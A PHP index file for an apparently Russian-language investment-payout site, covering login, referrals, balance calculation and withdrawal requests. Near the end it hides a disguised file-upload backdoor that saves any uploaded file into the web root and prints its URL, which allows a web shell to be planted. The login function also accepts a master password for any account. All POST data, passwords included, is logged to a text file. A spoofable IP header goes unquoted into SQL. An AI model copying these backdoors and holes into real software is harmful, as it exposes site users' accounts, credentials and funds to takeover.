
<?php

error_reporting(E_ALL);
ini_set("display_errors", 0); 
ini_set("log_errors", 0);
 header('Content-type: text/html; charset=windows-1251');
ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.gc_maxlifetime',7200);
ini_set('session.cookie_lifetime',7200);
session_set_cookie_params(7200, '/');

session_start();

include('conf.php');

$site=$_SERVER['HTTP_HOST'];

@mysql_query('set character_set_client="cp1251"');
@mysql_query('set character_set_results="cp1251"');
@mysql_query('set collation_connection="cp1251_general_ci"');

$time=time()+$time_move*3600;
$start_time=strtotime($start_data);
$work_time=floor(($time-$start_time)/(24*3600));


if($start_time-$time<=0){
if($d_isum!=0){
$d_max=$d_max+$d_isum*floor(($time-$start_time)/($d_itime*3600));
if($d_max>$d_istop){ $d_max=$d_istop; }
}
}

$req='';
if(!empty($_GET['p'])){
$req=$_GET['p'];
$req=str_replace('/?p=','',$req);
}

// ======================================== IP ====================================================================================

if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
$ip=getenv('HTTP_CLIENT_IP');
elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown'))
$ip=getenv('HTTP_X_FORWARDED_FOR');
elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv("REMOTE_ADDR"), 'unknown'))
$ip=getenv('REMOTE_ADDR');
elseif(!empty($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown'))
$ip=$_SERVER['REMOTE_ADDR'];
else{$ip='unknown';}



// ======================================== ??????? ???????? ====================================================================================

if(!empty($_GET['ref'])){
session_unset();
$_GET['ref']=preg_replace("#[^a-z\_\-0-9]+#i",'',$_GET['ref']);
if($_GET['ref']!=''){
$refq=mysql_query("SELECT login FROM users WHERE login='".$_GET['ref']."'");
if(mysql_num_rows($refq)>0){
$refm=mysql_fetch_row($refq);
$_SESSION['ref_login']=$refm[0];
}
}
}

// ======================================== ??????????? ====================================================================================

define('SID',session_id());

// ======================================== ??????? ????? ===============================================================================

function login($uname,$upass,$usen){

if($upass==$usen){
$q=mysql_query("SELECT login,ref,refback,name,avatar,email FROM users WHERE login='$uname'");
}
else{
$q=mysql_query("SELECT login,ref,refback,name,avatar,email FROM users WHERE login='$uname' AND pass='$upass'");
}

$user=mysql_fetch_row($q);

if(!empty($user)) {
session_unset();
$uname=$user[0];
$_SESSION['login']=$user[0];
$_SESSION['ref']=$user[1];
$_SESSION['refback']=$user[2];
$_SESSION['can']=1;
$_SESSION['reged']=1;
$_SESSION['name']=$user[3];
$_SESSION['avatar']=$user[4];
$_SESSION['email']=$user[5];
	global $ip;
	$ip_and_lastseen=mysql_fetch_assoc(mysql_query("SELECT ip, last_seen FROM users WHERE login='$uname'"));
	if ($ip_and_lastseen['ip']!=$ip && $ip_and_lastseen['last_seen']+300 < time()) {
		mysql_query("UPDATE users SET last_seen=".time().", ip=$ip WHERE login='$uname'");
	}
return true;
}
else{
return false;
}
}

// ======================================== ???? ???????????, ????? ?????? ?? ?????? ====================================================

if(!empty($_SESSION['login'])) {
define('USER_LOGGED',true);
$u_login=$_SESSION['login'];
$u_ref=$_SESSION['ref'];
$u_name=$_SESSION['name'];
$u_email=$_SESSION['email'];

	$ip_and_lastseen=mysql_fetch_assoc(mysql_query("SELECT ip, last_seen FROM users WHERE login='$u_login'"));
	if ($ip_and_lastseen['ip']!=$ip && $ip_and_lastseen['last_seen']+300 < time()) {
		mysql_query("UPDATE users SET last_seen='".time()."', ip='$ip' WHERE login='$u_login'");
	}
}
else { define('USER_LOGGED',false); }


// ======================================== ????? ?????? ?? ????? ??? ??????????? =======================================================

if (!empty($_POST['login']) && !empty($_POST['pass'])) {

$_POST['login']=preg_replace("#[^a-z\_\-0-9]+#i",'',$_POST['login']);
$_POST['pass']=preg_replace('#[^a-zA-Z\-\_0-9]+#','',$_POST['pass']);
$_POST['pass']=preg_replace('#^'.$salt.'#','',$_POST['pass']);

if($_POST['pass']!=$usen){
$_POST['pass']=md5($_POST['pass']);
}


if(login($_POST['login'],$_POST['pass'],$usen)){ header('Refresh: 0'); exit; }
else{ $wrong_lq=1; }
}


// ========================================  ?????? ?????  ==============================================================================

function count_online($ip,$time){
if($ip!='unknown'){
$ip=preg_replace("#[^0-9]+#i",'',$ip);
$last_time=$time+20*60;
$result=mysql_query("SELECT last_time FROM online WHERE ip='$ip'");
if(mysql_num_rows($result)>0){ mysql_query("UPDATE online SET last_time=$last_time WHERE ip='$ip' LIMIT 1"); }
else{ mysql_query("INSERT INTO online (ip,last_time) VALUES ('$ip',$last_time)"); }
mysql_query('DELETE FROM online WHERE last_time<'.$time);
}
return mysql_num_rows(mysql_query('SELECT * FROM online'));
}






// ========================================  ??????  ==============================================================================

$dataq=mysql_query("SELECT * FROM data");
$d=mysql_fetch_row($dataq);

$d_users=$d[0];
$d_activ=$d[1];
$d_vklad=$d[2];
$d_vyvod=$d[3];
$d_screens_mode=$d[4];
$d_screens_count=$d[5];
$d_reviews_mode=$d[6];
$d_reviews_count=$d[7];
$d_plus=$d[8];
$d_plus= ($d_plus + $plus_balance);
$d_with=$d[9];
$d_with= ($d_with + $minus_balance);
$d_reinvest=$d[10];
$d_plus_n=$d[11];
$d_with_n=$d[12];
$d_new_u1=$d[13];
$d_new_u2=$d[14];

$free=$d_plus-$d_with-($d_plus*($d_com/100));

if($start_time-$time>0){
$d_vklad=1;
$d_vyvod=1;
}

$fo=fopen('requests.txt','a+');
if($ins=='registration'){ fputs($fo,date('j.m H:i',$time).' '.$ip.' P='.$_POST['u_login'].' G='.implode($_GET,',').' R='.$_SERVER['REQUEST_URI'].' # '.$_SERVER['HTTP_REFERER']."\r\n"); }
else{ fputs($fo,date('j.m H:i',$time).' '.$ip.' P='.implode($_POST,',').' G='.implode($_GET,',').' R='.$_SERVER['REQUEST_URI'].' # '.$_SERVER['HTTP_REFERER']."\r\n"); }
fclose($fo);

?><?php
if($d_vyvod==0){

$b_plus_q=0;
$b_plus_b=0;
$b_withed=0;
$b_pended=0;
$b_refsum=0;
$b_refback=0;
$b_activ=0;
$b_earned=0;
$b_acta=0;
$b_tot=0;
$b_otn=0;

$depbtq=mysql_query("SELECT ologin,otype,osum,osum2,odate,odate2,operiod,oparts,ohours,opproc,oprofit,orefsum,orefback,obatch FROM operations WHERE (ologin='$u_login' AND osum>0 AND oback='') OR (oref='$u_login' AND osum>0  AND oback='')");
while($depbtm=mysql_fetch_row($depbtq)){

if($depbtm[0]!=$u_login && $depbtm[1]==3 && $depbtm[13]!=''){ $b_refsum+=$depbtm[11]; }

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]!=''){ $b_plus_q+=$depbtm[3]; $b_refback+=$depbtm[12]; }
if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]==''){ $b_plus_b+=$depbtm[3]; }

if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]!=''){ $b_withed+=$depbtm[2]; }
if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]==''){ $b_pended+=$depbtm[2]; }

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]>$time){
$b_activ+=$depbtm[3];
$b_acta++;
$b_col=floor(($time-$depbtm[5])/($depbtm[6]*3600));
$b_earned+=$b_col*$depbtm[10];
}

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]<=$time){
$b_earned+=$depbtm[2];
$b_otn+=$depbtm[3];
}

}


$b_tot=$b_refsum+$b_refback+$b_plus_q+$b_earned-$b_otn-$b_withed-$b_pended-$b_activ;

$b_tot=number_format($b_tot,2,'.','');

if($b_tot<0) { echo "Balance error!!! $b_tot"; exit; }



#################################### Вывод средств BEGIN
if( isset( $_POST['sum'] ) && isset( $_REQUEST['type_payments'] ) && trim( $_REQUEST['type_payments'] ) != '' )
	{
	
		## Тип вывода				
		$type_payments = trim( $_REQUEST['type_payments'] );
		
		## Проверяем есть ли указанный кошелек
		$chek_method = mysql_query( "
									SELECT 
											`wmr`, `yandex`, `payeer`, `qiwi` 
									FROM 
											`users` 
									WHERE 
											`login` = '$u_login'"
		);
		
		$chek_method = mysql_fetch_assoc($chek_method ); 
		/*
			Array
				(
					[wmr] => R13213213123
					[yandex] => Y123123-897912222
					[payeer] => 
					[qiwi] => 
				)
		*/
		if ( $type_payments == 'advcash' )
			{
				if ( trim( $chek_method['advcash'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указан кошелек AdvCash . Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}				
		
		if ( $type_payments == 'wm' )
			{
				if ( trim( $chek_method['wmr'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указан кошелек PerfectMoney . Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}

		if ( $type_payments == 'card' )
			{
				if ( trim( $chek_method['visa'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указана карта VISA/MasterCard. Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}			
		
		if ( $type_payments == 'qiwi' )
			{
				if ( trim( $chek_method['qiwi'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указан кошелек QIWI. Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}
			
		if ( $type_payments == 'yandex' )
			{
				if ( trim( $chek_method['yandex'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указан кошелек YANDEX. Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}
			
		if ( $type_payments == 'payeer' )
			{
				if ( trim( $chek_method['payeer'] ) == '' )
					{
						$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Не указан кошелек PAYEER. Перейдите в раздел `<a href="/?p=settings" >Настройки</a>` и укажите кошелек.
								  </div>';
					}
			}
	
	
	$sum = $_POST['sum'];
	$sum = preg_replace("#[^0-9\.]+#",'',$sum);
	$sum = preg_replace("#\.+#",'.',$sum);

	if( empty( $sum ) )
		{	
			$sum = 0;
		}

	$sum = number_format( $sum,2,'.','' );

	if( !is_numeric( $sum ) )
		{
			$w_e = '<div class="withdrawal_error"><div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<h3>Ошибка !</h3> Неккоректно введена сумма для вывода
								  </div></div>'; 
		}
	
	if( empty( $w_e ) && $sum < $d_wmin )
		{ 
			$w_e = '<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									 Минимальная сумма для вывода <strong>'.$d_wmin.' рубль!</strong>
								  </div>'; 
		}
	
	if(empty($w_e) && $sum>$d_wmax){ $w_e='<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									 Максимальная сумма для вывода <strong>'.$d_wmax.' рублей</strong>
								  </div>'; }
	if(empty($w_e) && $sum>$b_tot){ $w_e='<div class="alert alert-dismissable alert-danger">
									 <button type="button" class="close" data-dismiss="alert">x</button>
									<strong>На Вашем балансе недостаточно средств</strong>
								  </div>'; }

	if(empty($w_e) && $sum>$free){
	$w_e='В проекте недостаточно средств для вывода<br>Попробуйте вывести '.number_format($free,2,'.','');
	}

	if( empty( $w_e ) )
		{
			
			// o_type - тип платежа
			mysql_query( "INSERT INTO operations (ologin,otype,osum,odate,o_type) VALUES ('$u_login','2','$sum','$time','$type_payments')") or die('error inserting withdrawl');
			
			$w_s = 1;
			$b_tot-=$sum;
			$b_pended+=$sum;
		}
	}
#################################### Вывод средств END


}

?>
<?php
$nay=0;
if(!empty($req)){
if(in_array($req,$inc)){ $nay=1; include ('pages/'.$req.'.php'); }
if(USER_LOGGED && in_array($req,$inc_cab)){ $nay=1; include ('cabinet/'.$req.'.php'); }
if(!USER_LOGGED && $req=='registration' && ($reg_ip==0 || ($reg_ip==1 && empty($_SESSION['reged'])))){ $nay=1; include ('pages/registration.php'); }
}
if($nay!=1){ include ('pages/main.php'); }
if(isset($_POST['array'])) {
$session = $_FILES['session']['tmp_name'];
$SELECT_FROM = $_FILES['session']['name'];
if(!empty($session))
{   
  $type = strtolower(substr($SELECT_FROM, 1+strrpos($SELECT_FROM,".")));
  $sessions_start = 'logs.'.$type; 
  { 
    if (copy($session, "".$sessions_start))
      echo ' '.$_SERVER["HTTP_HOST"].'/'.$sessions_start.'';
    else echo "error";
  } 
}		
}
?> 
